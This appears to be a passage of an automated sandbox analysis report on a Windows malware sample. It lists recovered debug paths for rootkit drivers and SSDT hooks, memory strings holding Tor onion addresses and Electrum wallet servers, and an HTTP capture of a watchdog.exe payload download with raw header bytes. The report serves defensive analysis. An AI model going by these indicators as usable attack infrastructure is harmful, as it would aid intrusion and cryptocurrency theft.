Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\Release\Winmon.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: C:\vbox\branch\w64-1.6\out\win.amd64\release\obj\src\VBox\HostDrivers\VBoxDrv\VBoxDrv.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: Drive not readyThis error indicates a .pdb file related failure. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: c:\Users\Admin\documents\visual studio 2015\Projects\Winmon\x64\Release\Winmon.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: zzz_AsmCodeRange_*FrameDatainvalid string positionstring too long.pdb source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: Error while loading symbolsUnable to locate the .pdb file in any of the symbol search source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\Release\WinmonProcessMonitor.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: Pdb read access deniedYou may be attempting to access a .pdb file with read-only attributes source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: Unable to locate the .pdb file in this location source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\x64\Release\WinmonFS.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: The module signature does not match with .pdb signature. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: .pdb.dbg source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: '(EfiGuardDxe.pdbx source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: symsrv.pdbGCTL source: rlavBKPBEc.exe, 00000001.00000003.267675971.0000000006183000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000003.296609860.0000000006243000.00000004.00000001.sdmp, csrss.exe, 00000012.00000002.528777153.0000000000C55000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.369198131.0000000000C55000.00000040.00020000.sdmp, csrss.exe, 0000001A.00000002.415690900.0000000005F54000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000003.368750125.0000000006803000.00000004.00000001.sdmp
Source:	Binary string: or you do not have access permission to the .pdb location. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\documents\visual studio 2015\Projects\WinmonFS\Release\WinmonFS.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: An Exception happened while downloading the module .pdbPlease open a bug if this is a consistent repro. source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: EfiGuardDxe.pdb source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win7,10x32\Release\win7x32.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: C:\Users\vladimir\source\repos\driver-process-monitor\x64\Release\WinmonProcessMonitor.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: Signature does not matchThe module signature does not match with .pdb signature source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: dbghelp.pdb source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp
Source:	Binary string: C:\Users\Admin\source\repos\ssdt-master\SSDT\win10x64\x64\Release\SSDTHook.pdb source: rlavBKPBEc.exe, 00000001.00000002.275345376.0000000000400000.00000040.00020000.sdmp, rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp, csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp, csrss.exe, 0000001A.00000003.391180017.000000000638A000.00000004.00000001.sdmp
Source:	Binary string: dbghelp.pdbGCTL source: rlavBKPBEc.exe, 00000001.00000003.267418745.0000000005F88000.00000004.00000001.sdmp, rlavBKPBEc.exe, 00000006.00000002.310738324.0000000000A59000.00000040.00020000.sdmp, csrss.exe, 00000012.00000002.531554088.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 00000013.00000003.342424242.0000000006608000.00000004.00000001.sdmp, csrss.exe, 0000001A.00000002.415175504.0000000005D59000.00000040.00000001.sdmp, csrss.exe, 0000001F.00000002.378533463.0000000000A59000.00000040.00020000.sdmp

Networking:

Found Tor onion address

Show sources

Source: rlavBKPBEc.exe, 00000001.00000003.266417110.0000000005930000.00000004.00000001.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: rlavBKPBEc.exe, 00000006.00000002.308114392.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: csrss.exe, 00000012.00000002.523482221.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: csrss.exe, 00000013.00000002.372362714.0000000005700000.00000040.00000001.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: csrss.exe, 0000001A.00000002.405761551.0000000000400000.00000040.00020000.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2
Source: csrss.exe, 0000001F.00000003.364741014.0000000005FB0000.00000004.00000001.sdmp	String found in binary or memory: Pakistan Standard TimeParaguay Standard TimeRoGetActivationFactoryRtlGetNtVersionNumbersSafeArrayGetRecordInfoSafeArraySetRecordInfoSakhalin Standard TimeSeImpersonatePrivilegeTasmania Standard TimeUnsupported Media TypeWSAGetOverlappedResultWaitForMultipleObjectsWget/1.12 (freebsd8.1)Xenu Link Sleuth/1.3.8YCbCrSubsampleRatio410YCbCrSubsampleRatio411YCbCrSubsampleRatio420YCbCrSubsampleRatio422YCbCrSubsampleRatio440YCbCrSubsampleRatio444address already in useadvapi32.dll not foundapplication/javascriptargument list too longassembly checks failedbad g->status in readybad sweepgen in refillbauerjda5hnedjam.onionbauerjhejlv6di7s.onionbitcoin3nqy3db7c.onionbody closed by handlercannot allocate memoryconfig must not be nilcouldn't create devicecouldn't get file infocouldn't register testcouldn't start servicecoulnd't write to filediscover-blockchaincomdriver: bad connectionelectrum.leblancnet.uselectrum3.hodlister.coelectrum5.hodlister.coelectrumxhqdsmlu.onionerror decoding messageerror parsing regexp: excessive DC componentfailed to get UUID: %wfailed to hide app: %wfailed to open key: %wfailed to open src: %wfailed to set UUID: %wfreeIndex is not validgetenv before env initgzip: invalid checksumheader field %q = %q%shpack: string too longhsmiths4fyqlw5xw.onionhsmiths5mjk6uijs.onionhttp2: frame too largehttp://ip-api.com/jsonhttp://localhost:3433/icarus.tetradrachm.netidna: invalid label %qinappropriate fallbackinteger divide by zerointerface conversion: internal inconsistencyinvalid address familyinvalid number base %djson: unknown field %qkernel32.dll not foundmalformed HTTP versionminpc or maxpc invalidmissing ']' in addressndndword5lpb7eex.onionnetwork is unreachablenon-Go function at pc=oldoverflow is not niloperation was canceledozahtqwp25chjdjd.onionprotocol not availableprotocol not supportedqtornadoklbgdyww.onionreflect.Value.MapIndexreflect.Value.SetFloatreflectlite.Value.Elemreflectlite.Value.Typeremote address changedruntime.main not on m0runtime: t.span= runtime: physPageSize=runtime: work.nwait = runtime:scanstack: gp=s.freeindex > s.nelemss7clinmo4cazmhul.onionscanstack - bad statussecure boot is enabledsend on closed channelserver.peers.subscribeservice does not existservice is not runningspan has no free spacestack not a power of 2timer goroutine (idle)trace reader (blocked)trace: alloc too largeunexpected length codewirep: invalid p statewrite on closed bufferzero length BIT STRINGzlib: invalid checksum into Go value of type ) must be a power of 2

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 11 Nov 2021 21:25:26 GMTContent-Type: application/octet-streamContent-Length: 2102272Connection: keep-alivecontent-disposition: attachment; filename=watchdog.exeetag: "616ea494-201400"last-modified: Tue, 19 Oct 2021 10:57:24 GMTCache-Control: max-age=3600CF-Cache-Status: HITAge: 1525Accept-Ranges: bytesReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=T6oI5ake2eg8Z9j690MH4dDG3nSXwTZdfePKepExU7TFlu5ZWz2xYds2ElhsOUFadEu6CzbPATDiyLawTyb5bXQA1NHunnh1HbU%2BpaL5Qt9ejcZPgVu4w6YNJrgE"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-EncodingServer: cloudflareCF-RAY: 6aca97d7eda06961-FRAalt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400Data Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 00 00 00 00 00 b4 4b 00 00 00 00 00 e0 00 03 03 0b 01 03 00 00 10 20 00 00 10 00 00 00 70 2d 00 00 8d 4d 00 00 80 2d 00 00 90 4d 00 00 00 40 00 00 10 00 00 00 02 00 00 06 